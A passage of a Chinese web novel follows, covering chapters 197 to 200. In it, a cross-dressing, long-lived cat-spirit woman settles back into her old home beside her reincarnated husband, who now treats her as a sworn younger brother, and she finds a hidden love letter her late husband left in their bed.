静之唰的一下,直起上半身,动动脖子扭扭腰,“哈哈,没事儿,就是有点累了。” “马上好了。”林九递过去一杯茶水,浅笑着说: “为兄以茶代酒。” 静之接过茶水,与他碰了碰杯,苦中作乐想—— 嗯,怎么不算交杯酒呢。 第197章 回家 交到一个好贤弟,林九闭着的两片薄唇,嘴角不自觉的向上扬起。 他放下茶杯,朝屋外一扬手,“天然居暂时是去不得了,说好要请你吃饭的,走,我们去如意楼。” 静之反倒精神有些蔫蔫儿的。 “不用了,我想回去好好躺一会儿。” 她得回去消化消化,一朝夫妻变兄弟这个事实。 听她这么说,深谙养生之道的林九满脸的不赞同,“林弟,三餐要规律,不可饥一顿饱一顿。” 边说着,他扯着她的袖子把她拉出书房。 然后回头给门锁上,这才轻推着不想动的静之背部走出院子。 两人并排走在路上,静之时不时用哀怨的余光瞄向走在她右侧,一脸笑意的林九,“宝兄弟跟海兄弟也没吃呢。” 林九的微笑凝在脸上,“他们会自己解决的。” 林九微顿,然后说: “林弟,以后你就随我一样,叫他们阿宝和小海就行了。” 静之心不在焉的看着脚尖,点点头说好。 经过刚刚阿宝那一通打斗,饭点已过,人员经常爆满的如意楼倒是空出了不少位置。 这一顿饭下来,林九吃得满心开怀,而郁卒的静之怕他看出端倪,不仅要赔笑脸,还要假装吃得很香。 林九哪里知道,就凭刚刚他的结拜之举,就够她顶得慌了。 林九何其敏锐,饭桌上时常走神的静之,他怎么会看不出来异样呢。 吃饱喝足,两人经过衙门口,林九停下脚步,有些抱歉的说: “对不起,没有事先问过你的喜好,刚刚的饭是不是不合胃口?明日何老板的新店要开张,到时候赏个脸再一起吃个饭?” 静之看着他那双眼睛里露出的真挚,实在一言难尽,刚刚吃下去的饭好像顶在她喉咙口,让她有话说不出。 她暗暗叹了口气,抹了一把脸,对林九硬挤出个礼貌的微笑: “不用吧,天天下馆子,这样林兄太破费了。” “没事。”林九不知为何,就是对眼前这人抠搜不起来,也许是她看起来太弱了吧,让他忍不住想多喂她两口饭。 “何老板的店卖的是艇仔粥,价格实惠得很,你无须担心。” 话都说到这儿了,她再拒绝也就没意思了。 于是点头答应。 “那你休息吧,我回去了。”林九说。 静之摸着腰侧荷包里的那根钥匙,想了想,脚步一拐,朝街尾走去。 她这么一转头,倒是跟林九顺路。 “你不回去?” “我……回家。” 林九诧异道:“你有家?” 话一出口,他就觉得自己这样说太不礼貌了,于是清清嗓子,重新问道: “你找到亲属了?” 静之幽幽看了他一眼,突然盯着林九的眼睛调笑一句: “林兄是我兄长了,怎么不算是亲属呢?” 林九脸上露出几分和煦的笑容,跟摸小弟弟一样,摸了摸静之的头说: “算,你家在哪儿,我送你。” 静之见他接受良好,整个人突然像泄了气的气球一样,失去了精气神,她的手朝左前方指指,“就在那儿,街尾那家,最靠河边那个小院儿。” 林九脸色突然一变。 “那个……” “住那里的话,你要小心了。” 静之抬起头,有些疑惑看着他,“为什么啊?” 林九转头四处看了一下,见没人跟踪他,他这才凑近静之耳边说: “有位老先生喜欢跟踪人,我时常看到他躲到那个角落。” “噗……” 静之被他这惊弓之鸟的样子逗笑了。 林九被她突如其来的笑搞得有些不自在。 他紧了紧背在身后的手,皱眉认真的说: “我不是个喜欢背后话人长短的人,此事……确实是我亲身经历,他虽是镇上德高望重的梁老先生,但是真的跟了我许久,又喜欢说一些胡话。” 最重要的是,每每被他跟踪一次,他当晚回家就得做一次那个梦。 每次清醒后,他都得缓上很久。 静之轻咳一声,突然转变表情,眼里的真挚甚至胜过他两分: “他就是我失散多年的亲戚,我不怕的。” 走到院子口后,林九才消化了这个事实。 他有些不放心的说: “那……我先走了,你要有什么事,到隔壁找我。” “隔壁?” 静之往外走两步一看。 得,离她院子口七八米远,就是他的道观大门。 静之摸着后脑勺说:“我倒是没注意。” 林九突然朝她院子外头伸出来的微微摇动着的树干看了一眼,意有所指说: “这树,都延伸到院外了,林弟该修剪下了,以防有心怀不轨的人从枝干处爬进去。” 静之伸手捻下头顶掉落的,一片翠绿的树叶看了两眼,点头称是。 林九走后,静之都不用拿钥匙开门,门上的锁是挂着的。 推门而入后,还没来得及追忆往昔,她快步走过去站在树下,对着站在树干上的八旬老头说: “给我下来!不知道你现在多大年龄吗?你要是出了点好歹,我怎么跟你的子子孙孙交代?” 梁恩眼睛咕噜直转,眼里尽是心虚。 “我,我不下去,我躲人。” 静之气得原地转了两圈,待寻到地上一根树枝,她拿了起来戳戳他的小腿,“躲个屁,躲人躲到树上去,你是不要命了吗?” “诶诶诶,别戳我,痒,我怕痒!”梁恩扶着大树的主干颤颤巍巍蹲下来,那张老脸此刻布满了委屈和愤恨。 “不知道是谁乱传谣言,说我有个私生子,我家老太婆打了我一路,我这后脑勺还有个包呢。” “我不敢下去,她肯定就在这附近。她从小练武,我再被她打一下,我看我今年就得入土了。” “瞎说什么东西,你快下来,她要是来了,我帮你解释。”静之悻悻收回还在作乱的枝干,摸了摸鼻子。 突然有道不知道从哪里来的光线,折射入她的眼睛。 静之抬手挡住光,眯着眼循着光线寻找来源。 “……把你手上的望远镜丢下来,你祖奶奶我没收了。” “祖奶奶你知道这是望远镜?” 梁恩有些惊奇,这还是他的小辈从洋人那里买回来的新鲜玩意儿呢。 拿来偷窥他祖爷爷,或者躲避老太婆,可好用得紧。 他有些不想给,手拿着望远镜慢慢别到身后去,讪笑着对树下的静之说: “要不你要点别的吧,还要银子吗?我叫梁纪送点过来。” 静之腰一叉,“不要,你给我的钱够花了,我就要望远镜。” “你不给我,我就告诉你老婆,你拿它偷窥妙龄少女!” “哎呦喂,祖奶奶,这可不兴乱说啊!” 梁恩抱着主干,一脚跃跃欲试,试图下蹬到侧边的树枝,还边压低声音说着: “等会给我娘子听到了,我这把老骨头肯定就被她拆……” 梁恩还没说完,静之受不了他的磨磨唧唧,脚下一蹬。 梁恩只觉得后脖颈一紧,轻风拂过,然后他的双脚就踩在了地面上。 他的脸上刚浮起一丝笑容,掩在身后的望远镜就被静之顺走。 她双手把着两个镜筒,抬头到处乱看。 梁恩使这玩意儿已经使出心得了。 他以过来人的姿态帮静之旋转着镜筒中间的齿轮,“呐,转这里,可以拉远或者拉近你想看的东西,是不是很清晰?” 静之傲娇的撇了撇嘴,往旁边去了一步说:“我玩这些东西的时候,你还不知道在哪儿呢。” “那还抢我的干什么?”他小声嘀咕。 “你……” 话还没说完,一位老婆子拿着拐杖顶开虚掩着的门,“梁恩!!!” 梁恩吓得快走两步藏到静之身后。 “你说好帮我解释的。”他揪揪静之背后的衣服,又把一米八的大个儿缩了缩,妄图把自己藏在静之一米六的身板子后头。 静之笑眯眯的看着眼前头发花白,却满脸怒容的老太太说: “有传闻说,他是我便宜爹。” 老太太咬牙切齿,“梁恩,你竟把私生子带到这儿来,你就不怕你祖爷爷半夜托梦骂你吗?” 隔壁的林九突然打了个喷嚏。 老太太声如洪钟,那一声梁恩,叫得坐在书房里的林九都听见了。 他走到院墙下一角,竖起耳朵听着隔壁吵吵嚷嚷的对话。 原来……林弟和梁老先生竟是这种关系啊,难怪他不害怕。 就在这时,静之又说: “你是梁媛,梁赞的祖孙女?” 老太太一脸别来沾边的表情,冷冷哼了一声。 “这镇子上,谁不知道我梁媛,你别套近乎,我是不会让你进我梁家门的。” 边说着,她横起手中的拐,直指她身后的梁恩,对静之劝诫道: “你是无辜的,我不怪你,这是他的风流债,你把他交给我,之后,只要你离开梁家镇,我可以既往不咎。” 梁恩突然从静之身后绕了出来,手臂展开,把静之挡得死死的,“万万不可!她不可以走的。” 梁媛花白的眉毛紧紧皱在一起,她狠狠用拐杖杵了两下地面,“都这个时候了,你还维护她?” “阿媛啊,你不认识我啦!你小的时候我还抱过你呢!” 她从梁恩身后露出个头,头上簪子一拔,一头银白雪发,落了满肩。 她又捏住袖子把两道浓眉一顿蹭。 梁媛愣愣的看着那张越蹭越黑,却突然与记忆深处那张玉雪容颜合而为一的脸,她的嗓子不由一阵发紧。 “静,静之n——” 奶奶还没说出口,她的嘴就被梁恩死死摁住。 “嘘!她不让我们声张她的身份。” 隔壁的林九跟着点点头。 不声张是对的,私生子嘛,总是见不得光的。 难怪林弟这么瘦,还挨到长大成人了才来找梁老先生,可见她是个有骨气的。 就是说话总是颠三倒四的。 什么叫你小时候我还抱过你,那梁老夫人都86高龄了,应是她抱过他林弟吧。 …… 另外一边,静之被老头老太拉进屋里说话。 “静之奶奶,你……怎么回来了?” 也就是他们老一辈知道静之的真实身份,毕竟静之的女儿梁瑶,是嫁给梁赞的大儿子的。 梁瑶为灵猫,就连她梁媛的身上也有灵猫的血缘,不过她倒是变不成猫,最多就是活得长寿一点。 他们两家人因为有了静之这个异数,后代皆身强体壮,是当地鼎鼎有名的长寿家族。 于是,这两家人达成共识,灵猫这件事儿,在他们血缘被稀释,隔三代以后,就得死死压下来,不准任何人再提起。 否则被有心人知道的话,恐遭灭门之灾。 …… 静之叹了口气,轻抚着面前二娣亲手给她打的梳妆柜,目光一寸一寸丈量过这个深埋在记忆深处的老地方,幽幽的回答她: “我也没想过,我竟还有一天能回到这里。” 梁媛看着镜中静之怀念的表情,突然心生不忍。 她和二娣恩爱几十年,这段爱情,不止在二娣家族内,就连她娘家,甚至在当时的整个镇上,也是广为流传。 二娣已经死了这么多年了,就留下她一人面对漫长岁月,这不是……更加折磨人吗? 静之透过镜子,看到身后老太太那张皱巴着的老脸,脸上突然露出清浅的笑意。 “阿媛啊,别担心我,我早就想开了。” “梁恩你带回去吧,那谣言,是我胡诌的,你回去可得帮他后脑勺上上药啊,老年人头部可得护好了。” 梁媛见她也不似要哭出来的样子,只得点头应了一声。 “您要住这儿的话,我命人给您送点生活用品过来。” 静之刚想说不用,梁恩就摸着后脑勺笑着插话: “不用了,祖奶奶一说要搬进来,我就叫纪儿安排了。” “算你识相。”梁媛说。 “跟我回去。”她一个老太太扯着梁恩的后脖领,倒是走得飞快。 第198章 林弟,别闹了 吵吵闹闹的两个人走了,小院子里又恢复了死一般的寂静。 静得静之只能听到自己的呼吸声,和院子里那个老秋千吱呀吱呀轻轻荡着的声音。 莫名的,一股突如其来的孤独和恐慌从熟悉的环境每一处压向她。 静之奔到杂物房里,拿出那个依旧结实的木梯,架到左边院墙上。 嘴里叼着望远镜的挂绳,刚爬到一半,她又噌噌噌的往下退,风风火火的冲进杂物房里。 过了一会儿,望远镜倒是没了,她拿了个锯子别在腰间,爬到墙头上。 正好与站在院子里的林九面对面。 静之释然的笑了。 “阿……林兄,要不要做做饭后运动啊,帮我一起修整一下这棵树呗。” 林九看着趴在墙头上,朝他笑得软软,好似在撒娇的贤弟,心跳突然漏了一拍。 不过,她这像姑娘家一样的半扎头发型,跟灰一道黑一道的脸又是怎么回事? 林九一时失语,定定看着她几秒。 “林兄?”静之收回眼神,有些落寞的说:“你要是太累的话就算了,我自己来。” 林九边弯腰提起趿拉着的鞋跟,边跟她说:“没有的事,刚想洗澡,修剪完再一起洗也一样。” “一,一起洗?”静之突然红了脸。 林九早上穿的格子纹外袍已经脱在房中,此时身上只穿着一条灰色裤子,上身白褂子上的扣子也已经解到胸口处。 覆上一层薄肌的古铜色胸膛在微风拂开衣领时,若隐若现。 林九的表情却依旧坦坦荡荡,一张方脸正得发邪: “对啊,你也忙一天了,估计还没来得及烧水吧,两个大男人不打紧的,等会要不要过来一起洗啊?我这有多的热水。” 听到这话,静之心里哪还有什么孤独和恐慌。 此时她只觉得自己满脑通黄。 她摇了摇脑袋,意图将脑子里的废料晃出去,林九却误以为她不同意。 他也没有放在心上,心想着林弟可能害羞吧,于是扬起一抹暖阳般的笑容说: “不过来也行,等会我把热水给你提过去。” 静之艰难的把双眼从他胸口处移开,别开脸嗫喏几下嘴,才含糊着说: “你先过来嘛。” 说完,逃也似的,噌的一声,直接从木梯两侧溜了下去。 林九找了一把锯子边朝门外走,边轻笑着摇头。 他这贤弟,脸皮就是薄的紧。 …… 林九刚一踏入那个院子,看到眼前的摆设时,他顿感一阵天旋地转,手不受控制的松开锯子,哐当一声,扶到旁边的门板上。 小小的院子被打扫得很干净。 大树遮天蔽日,笼罩了整个小院,只有星星点点的金黄色阳光,落到了树下的秋千,石桌,和旁边有些腐朽的小木马上。 耳边仿佛传来几个孩童的欢声笑语。 那经常日夜缠绕在他耳边的“阿九”突然慢慢淡化。 耳蜗深处却不知从哪儿突然传来一声娇俏的嗔怒——“臭弟弟”。 弟弟? 他是被鬼附身了吗? 林九甩甩头,待眼神落在正慢慢悠悠荡着秋千,穿着裙装一脸期待看着他的人儿时,他突然头痛欲裂。 “唔……”林九两手捧着脑袋,背部哐的一声撞在侧边的门板上。 本欲一鼓作气唤起他记忆的静之,看到他这么难受,她直接从秋千上一跃而下,快步跑了过来。 “你……感觉怎么样?” 她扶住林九的胳膊,有些欲言又止,两只眼睛紧紧盯着他苍白且冒着虚汗的脸。 林九深呼吸了几口气,一脸警惕的环顾四周。 见确实没有阴气和作乱的鬼魂存在,他这才缓缓松了口气,朝脸色莫名的静之安慰道: “我没事,可能是早上太阳晒多了,有些暑气上头,回去喝两贴下暑的药就好了。” 静之看他难受成这样,再也不敢强求,眼里的光一点一点黯淡了下来。 她搀着林九来到客厅坐下。 “抱歉,还没来得及烧水,不能给你泡茶喝。” 林九静坐了一会儿,苍白的脸总算是恢复了一点血色,他浅笑着摇头,抬手指向门口掉落的锯子说: “我歇会儿,等会再帮你修剪树枝。” “不急。”静之眼神突然瞅到桌上倒扣着的小茶壶。 趁林九还未注意到他前前世这些贴身之物时,她心惊肉跳的赶紧站起来,把茶盘连同他惯用的小茶壶一同端到里厅去。 匆忙的步伐间,白色的衣诀纷飞,身后银色的发丝纷纷扬扬在空气中晃荡着,林九眉头渐渐皱了起来。 待静之从里厅走出来时,林九指间轻叩桌面,斟酌了一下语句,抬头对静之说: “林弟,在我面前,你尽可做女装打扮没关系,在外面的话,万万不要这样穿了。” “还有你这脸,要不要先擦擦?” 静之越听心越凉。 苍天!! 他怎么那么木啊??? 感情他对男女之间的那点敏感嗅觉,全部分配给了风情万种的二娣呗。 后面她接触过的两世,完完全全就是不近女色的木头疙瘩两个。 她抿着嘴坐下,任发丝飞扬到颊边,像个女鬼似的,斜觑了他一眼,幽幽问道: “林道长这是嫌弃我又娘又脏了?” 得,林兄都不叫了,他又说错话了吧。 林九右手的大拇指有些局促的揉着食指,吞吞吐吐的说: “我,我不是那个意思,男人就该有个男人样儿……” “而且弄干净一点,总是好的。” 他对干净,是有些执念的,所以语气难免强硬了些。 静之额头青筋直跳:“!?” 他越解释,她越气。 他这气人的本事,还真是一点不减当年。 静之黑着脸,气冲冲跑到院门口捡回来锯子,然后递到他跟前。 别开脸,别扭的说:“我就爱这样穿,就不洗脸,锯树枝去吧。” 林九站起身子,思索了半天,突然捻了个兰花指,轻轻安到静之脑门中间。 然后弹指给了她一个脑瓜崩。 本着要教训她的心,弹到了她早前撞出一个包的红肿上。 他一脸严肃说:“要洗!” 看到静之捂着脑门,一脸不可置信和受伤的样子,林九梗着脖子接着说: “你爱怎么穿都行,但是要保持干净,不然容易生病。” 静之渐渐撅起嘴,就这样捂着脑门,眼眶红红的拿起外面石桌上的锯子,跃到树上,跟个小疯子似的,到处乱锯乱伐。 一簇簇绿色的树叶和褐色枝干,簌簌落了一地。 林九拿着桌上的锯子缓缓跟了过去。 “林弟,你小心点,小心别割到手。” 刚一说完,静之嘶的一声,丢掉锯子,捏着食指上的一条迸出血花的口子不说话了。 锯子剌出来的创口总是有些狰狞的,血也流得有点多。 眼瞅着一滴红色的血液自他眼前落下,林九踮着脚尖,抬头急切问道: “伤到哪儿了,你快下来,我给你看看。” 看她不动弹,林九一脚踏上侧桠就要往上爬。 静之气鼓鼓的揪下树上小指大的不知名果子,朝底下的林九砸过去。 轻微咚的一声,正中他的脑门。 林九扶着树干,一脸无奈。 他笑着说:“这回不气了吧?快让我看看。” 以他的身手,他本可以轻易躲开的。 静之看着他眉心的红印子,突然有些心虚。 “才不要,就是个小口子,男子汉大丈夫,这点小小的伤算什——” 静之半张着嘴,一脸震惊的看着把她手指头往他嘴里塞的林九。 直到她深切的感受到他口腔的温热,静之才呐呐问道: “……你不是怕脏吗?” 林九朝树下呸出一口血水,浅笑着说: “哪里是怕脏,是怕你生病,是为兄不会说话,又惹你生气了。” 静之的嘴角要扬不扬的,难控制的很。 “哼,原谅你了。” 林九微微一顿,然后缓缓发出低沉的笑声。 “我还没道歉呢。” 静之红着耳根子,强行挽尊: “那你帮我包扎,就当道歉了。” 林九眉眼微微弯了一瞬,忍不住又拍了拍静之的头。 “阿海不是说你28了,怎么还跟个孩子一样?” “你说我幼稚?” “……没,我没这样想。” “吼,你犹豫了!还说出来了,说我像孩子一样!” 林九瞪大眼睛与她对视,以示清白: “林弟最是稳重仗义了,所以林九才会起结交之心的,你要相信我。” 静之被他一马屁拍得嘴角差点弯成耐克。 她轻咳一声,扬起下巴傲娇的说:“那我就原谅你了。” 林九老实巴交扶着树:“林弟,我还没道歉呢。” 静之:“……你这人真讨厌!” 林九:“……语气硬气一点,别像个姑娘一样。” 静之:“……泥马。” 林九:“……倒也不必糙到这种程度。” 静之闭了闭眼,实在没话跟他讲,她径直朝树下跳去。 林九提起的心随着她安全落地,终于也落回了肚子里。 他朝走向院门口的静之喊:“你去哪里?” 静之头也不回,竖起那只被他口水泡得发白的手指,没好气的说: “去你家,我家没药。” 笑死,她的药估计比他家的还要多,不过是个借口罢了。 林九却天真的相信了。 他轻轻一跃,捡起那根锯子,跟在她屁股后头走了回去。 …… “等会你别干了,我帮你锯就行。” “我可以的。” “可以个……,你身子骨弱,还是我来吧。” 她什么时候身子骨弱了? 静之看着正细细帮她包扎手指头的林九,忍不住又开始红温。 指腹开始浸出针尖大小的细汗,汗水挥发的时候顺便带走了手指的温度。 林九红润的指间轻轻撩过那点汗珠,伸到她眼前说:“手心出热汗,手指却是冰冰凉的,若不是肾阳虚,就是肾阴虚,把手放平,我帮你把把脉。” 原本被他轻撩指间的动作,搞得疯狂心动的静之,一下又被他当头一棒彻底打醒。 她死死捂住自己的脉门,咬牙切齿说:“你才肾虚。” 笑话,脉一把,不就知道她是个女的了吗?! 林九依旧老实巴交,他展开红润且干燥的手心伸到她眼前。 “我觉得我还行。” 被林九一脸“你肾虚你别晦疾避医”的表情看着,静之怒从心起。 她像只疯猫似的,突然拿住伸到她面前的手,一口咬上虎口。 林九无奈任她咬着,小声嘀咕:“还说不像个孩子,肾虚又不是不能治,怕什么?” 祥和的午后,林九的道观突然爆发出一阵吼声。 “林九,你真讨厌!” 然后传来林九一本正经的低声反驳: “都说了,别学姑娘家讲话。” “还有,讨厌我的话,你就不会跟我结拜了。” 边说着,他的嘴角甚至还微微翘起。 “绝交!林九,我要跟你绝交!”静之怒不可遏,气得肝疼。 林九无奈摸摸气炸的小猫头:“……林弟,别闹了。” 第199章 “我打死你!” 包扎好手指头后,林九帮静之院子里的树修剪了一遍。 原本只有影影绰绰的阳光透过层层叠叠的树叶照射进来,整个院子有些阴冷。 他修剪完,枝干几乎减少了一半,久不见天日,甚至长出青苔的地面直接暴露在阳光下。 静之站在石桌旁,抬头看着好像越发强烈的阳光,皱眉低语: “热死人了。” 梭梭声响传来。 林九拖着两大根散落在地的枝叶,就要往院外走去,静之赶紧叫住他。 “别丢。” 林九脚步微微一顿,有些疑惑的回头。 “不丢,留着干什么?” “当柴火呗,反正太阳这么大,应该不用几天就晒干了。” “……好。”贤弟可真节约,不愧是私生子。 静之绕着树走了一圈,走到左边墙角处,她突然“咦?”了一声。 “林兄,这根怎么不一起锯掉?” 她指向的位置,是一根延伸到林九院落的侧枝。 那枝干树叶繁茂,也挡住了他院落上方的一角阳光。 林九微微挑眉,调侃道: “借林弟的树,得一隅树荫,夏日炎炎,为兄才有地方可乘凉嘛。” 见她还昂着头看树,林九拖着树枝走过来,随意往朝阳的墙角处一放。 然后,动作幅度略大的擦了擦额头的汗水,又夸张的叹了口气。 “林弟难不成真这么小气,一点树荫都不肯庇荫于我?” 静之收回看树的眼神,凉凉的睨了他一眼。 “你再装呢?” “……没装。”他一手撑着墙,抬起眼皮无辜的看着她,右手还时不时抹掉自发际留下的汗水。 “我是真热。” “……算了,留就留着吧。”念在他帮他干活的份上。 殊不知,这根出墙的“红杏”,后来可是帮了他大忙。 她扯下掉落在石桌上的枝干,又拍了拍石椅说: “坐着歇会儿吧。” 林九:“不用,干完了再歇。” 他修剪的时候,很有规划的留下了石桌和秋千顶上的树叶,这个位置依旧阴凉舒适。 静之坐在树荫底下,撑着手看着还在搬运木材的林九。 看着看着,仿佛时间回溯到一百多年前。 那扬在他身后的细枝,仿佛是他脑后的小辫子,静之一时看得出了神。 直到墙角堆满整齐的残枝,以及两只桶轻轻放在她面前,她才彻底回过神来。 静之鼻间轻轻一嗅,抬起头,有些茫然的问: “你拿油漆干什么?” 林九拿水打湿抹布,然后拧干半蹲到秋千架前,轻轻擦着上面的灰尘,轻笑了一声说: “林弟不是爱荡秋千,这个东西年份已久,等我给你上层木蜡油,你就可以用得更久了。” 静之的心口仿佛被他这一句耳熟的话撞了一下,开始怦怦乱跳。 二娣每隔一两年刷油的时候,也老是跟她说这样的话。 她抿着嘴还在酝酿要怎么回答他时,林九又插了一句: “绝对能用到你童心消失的时候。” 刚刚那点感动瞬间被他一句话打散。 静之捡起桌上的树叶用力撕扯着,嘴里忍不住小声叭叭: “你真讨厌。” 林九:“……我觉得我还行。” 太阳大得很,抹布擦上去,水分被风带了一下,直接干得透透的。 林九明明没有刷过劳什子油漆,干这活却莫名的顺手。 不到一会儿,那木质的秋千带着岁月的 纹理,在他的手中泛发出新的生机。 就连上头牵着的铁锁链,林九也仔细的上了一层油。 “好了,别着急坐,就这个阳光,明天你就能玩了。” 静之双手枕着下巴,趴在桌上,愣愣地看着他,不忘怼他一句: “谁要玩了,我才不玩。” “是是是,你不玩~”林九心中暗自发笑,手里又捡起旁边的小木马,问静之:“那这个呢?要漆吗?” 静之摇了摇头,“不用,我等会砍了当柴烧。” “当柴烧有些可惜了。”他开玩笑似的,又说一了句,“你不骑啦?” “我打死你!”静之桌子一拍,站起来捻起桌上稀碎的树叶朝他脸上扬去。 林九闭眼屏气,骨节分明的手伸到头顶拂去碎屑。 连他自己都感到震惊。 静之这般对他,他居然一点气也生不起来,反而觉得这个贱非贩不可。 毕竟,她气鼓鼓的样子,可太好玩了。 静之见他不接招,顿了一下,然后自鼻息哼了一声,坐了下来,没好气的说: “就知道干活,你歇会儿吧。” 上辈子一天天就知道调戏老实害羞的林九,这辈子反被有些调皮的他逗弄,真是该她的。 …… 两个徒弟盘完摊子回来,看到道观大门敞开着,里头却没人。 隔壁还传来说话声,他俩双双攀到墙头上,看着隔壁的静之跟林九,跟小孩一样正拌着嘴。 两人瞪大了眼睛,看着底下那个不仅会笑,还会开玩笑的男人,满脸不可置信。 阿海:“师兄,师父有跟你开过玩笑吗?” 阿宝僵硬着脖子,转过头:“阴阳怪气的算不算啊?” 阿海又问:“那你见过他这么积极的样子吗?” 阿宝点头:“赚钱的时候可积极了。” 阿海摇着头,啧啧几声:“我看师父这回不仅赚不到钱,可能连人都要丢喽。” 阿宝:“……你什么意思?” 阿海眼睛机灵的咕噜一转,“嘿嘿,我不告诉你。” 看到林九暗暗变了脸色,他缩了缩脖子,赶紧跳下墙头。 阿宝跟了上去。 “诶,说话别说一半嘛。” 林九翻了个白眼,朝对面喊:“这么快回来,何老板把摊子转给你没有啊?” 隔壁传来阿宝的应和,“转了转了。” 林九点点头,“那就好好洗洗,做食物的摊子,保持干净是最重要的。” 那边发了句牢骚,“你不管干什么,保持干净都是第一位。” 林九偷偷看了静之一眼,有些恼怒的朝那边喊:“有空说人闲话,不如打两桶热水过来!” 谈到热水,静之的耳朵默默泛起一层红意。 她赶紧插话:“我,你,你回去洗吧,剩下的我自己来。” “好。”林九放下木马,拍了拍手上的灰说:“明晚一起吃饭的事儿别忘了啊。” “好,今天辛苦你了,谢谢。”静之说。 “跟我不用客气,走了。” 阳光渐渐变成了橘黄色,照在未干透的秋千上,带来一阵暖意。 静之看着焕然一新的院子,突然咧开嘴,笑得一脸柔和。 去年今日此门中,人面桃花相映红。 阿九,谢谢你愿意投生在这个世界。 我……喜欢这里。 …… 第200章 二娣的秘密 房间估计梁恩有叫人经常过来打扫,灰倒是不大。 静之突然想起要确认下,二娣是否有藏私房钱这事儿。 于是抹灰的同时,顺便翻箱倒柜找了起来。 他和她攒了一辈子的小金库,梁恩倒是没敢乱给她动,还端端正正摆在书房最角落的架子上。 里头有多少钱,她至今记得一清二楚。 毫不夸张的说,她这辈子就凭着他们上上辈子攒下来的钱,就能够衣食无忧了。 话说,二娣当初跟她告白的时候,可是把全部身家都交给她的,他应该不会偷偷藏钱吧。 静之手指轻轻抚摸着卧室里那保存良好的黑褐色拔步床,脑子里一幕幕的场景,都是他和她在这里的笑闹和温存。 嘴角不由慢慢勾起,温热的指尖轻触床架上精美的鸳鸯雕刻。 这床,还是他结婚之前特意去打来的呢。 “咔哒!” 一声细微的轻响,在寂静的房间内突兀的响起。 静之挪开指尖,看着那交颈鸳鸯,好像有一只略略凹陷下去。 她眼皮一跳,凑近观察了一下,才发现不是她摁坏了,那鸳鸯好像是被额外嵌上去的。 鸳鸯腹部的漆面一点,已经被盘到隐隐掉了色。 她总觉得,她好像发现二娣的小秘密。 静之莫名怒气陡生。 他最好是没给她藏钱,不然她今晚就去他的坟头蹦迪。 她紧抿着嘴,伸出食指摸到微微凹陷的鸳鸯上,然后用力往下一按。 又是清脆的一声“咔哒”响。 就在她以为这床上的机关年久失修时,她脚边的床侧板突然弹出一个小抽屉,抽屉半开着,就抵在她脚脖子上,吓了她一跳。 静之后退一步,那抽屉这才噌的一声,全部弹出来。 藏在抽屉最里侧的东西,瞬间展露在她眼前。 静之蹲下来一看,原来是一个小漆盒子。 这样式,跟二娣当初戏班床底下的那个木匣子颇为相似。 巴掌大小,入手轻巧,八个角皆镶嵌了铜角花。 经过岁月的洗礼,金铜色氧化成古铜色,匣子不复当初的精致,变得有些古朴。 一向万分小心的二娣,也许知道这个机关旁人难以发现,所以这个匣子倒是没有落锁。 静之捧着匣子坐回床上,一时竟不知道要不要打开看。 这么轻,一定不是银子。 她轻轻摇晃两下,里面又沙沙作响,是有东西在的。 而且人都有自己的小秘密,包括她自己也是。 没有二娣的同意,她擅自打开的话,是不是不太好? 可是她好好奇啊,抓心挠肝的那种。 拘着猫咪不让探查真相,就犹如放了条鱼在她面前还不让吃。 而且就凭刚刚那个快掉漆的鸳鸯,她就知道,二娣肯定没少开开关关这个抽屉。 那个老病秧子,到底背着她做什么呢? “二娣,既然有缘被我发现了,那我要打开看了嗷,你不许生气!” 静之边说着,边伸出食指拨起盒前的搭扣,她咽了口口水,这个盒子时隔一百多年,终于再次被打开了。 看清里头藏的东西时,静之表情瞬间僵住,不由怒骂。 “臭弟弟,我就说我当初闻到橘子的味道了,你竟然敢在床旁边放这个东西!!” 匣子里最上头,赫然是一个圆溜溜的物体,乌漆麻黑,都快结成化石了,上头的橘子瓣形状,却依旧清晰可见。 静之不晓得它为什么没有直接化成一滩水,想来应该是二娣用了什么手段,才让它维持成这个样子的吧。 这难道……是当初她在戏班里伺候他的时候,给他剥的那个橘子? 这傻子没吃啊? 想明白这点时,她满脸的怒气消失的无影无踪,脸上心虚和欢喜参半。 “那,那就不骂你嗷。” 他可真爱我~ 恋爱脑占据高地的静之,喜滋滋的把匣子捧到眼前细看,犹如它当初的主人一样,仿佛要把那个黑橘子看出朵花儿来。 就在这时,她突然发现枕在黑橘子下头的那张泛黄的纸好像有墨点子。 这家伙,不会像林九一样,默默给她留了情书吧?! 静之的右侧嘴角开始一勾一勾的,身体不由自主的左右扭捏了两下。 哎呦,他这个人真是的~ 这种乐不可支的心情,只持续到她看清纸上的内容,就迅速转变成无语。 内容如下: 【小之: 我就知道你毛手毛脚的,有一天一定会发现这里的。 记得别把橘子丢掉,那是我的宝贝。 (一个大墨点)是你第一次送我的礼物。】 “笨死了,吃到肚子里的,才是你的。” “哦不对,你已经吃到了。” 静之看到一半,把信纸摁到胸口处,然后在床上打滚。 那匣子连同黑橘子已经被她放到梳妆桌上去了。 缓了好一会儿欢喜的情绪后,静之才咧着嘴角,拿起信接着看。 【咱俩好了一辈子,我始终没有再问你一句风是谁,其实我又好奇又吃醋。 所以每次一想到这个,我就忍不住在床上折腾你。 有几次,你还晕过去了。 但我又心疼,又是控制不住自己。 抱歉。 若是有一天我死了……你能不能去我坟头,把答案烧给我(划掉) 哈哈,上面的话,是开玩笑的。 你别生气,还爱我好不好?】 隔了好几行,又开始写上了。 静之猜想,这应该是他分不同时间写的。 【小之,我长皱纹了,还有了白头发,而你韶华依旧。 要不,等我死后,你再找个人……(划掉) 不许找别人,你是我一个人的,只爱我一个好不好?(浓墨重笔,底下还画了一条线强调出来,就是最后的那个好字好似被水花晕染开了)】 静之怔在床上,食指轻触那皱巴巴的好。 许久,寂静的房间里,才传来一声沙哑的“好”。 …… 右下角署名一团糟,好像写了又划掉,写了又划掉,反复几次。 静之撑平纸张,走到油灯旁细看。 【梁二娣(划掉) 娣留(后面紧跟一个大墨点,前头加了个几个略大的字) 【小之唯一的挚爱:娣留】 “娣……,唯一的挚爱。” “你可真霸道。” “可我几辈子了,真就只爱你一个呢。” “……我是不是很轴?” 静之紧紧裹着被子,一张信,是翻来覆去的看,期间又哭又笑,跟疯了似的。 第二天,她终于华丽丽的起晚了。 “卖烧饼!卖烧饼喽!” 刺眼的阳光透过窗户照到静之肿起的眼皮上,她嘤咛一声,披头散发的爬起来。 小心翼翼的把手里紧攥着的信纸叠回去匣子里,再把匣子放进那个暗格里藏好。 然后犹如行尸般,换衣,洗漱。 最后佩刀一拿,出门买个饼,该上班了。 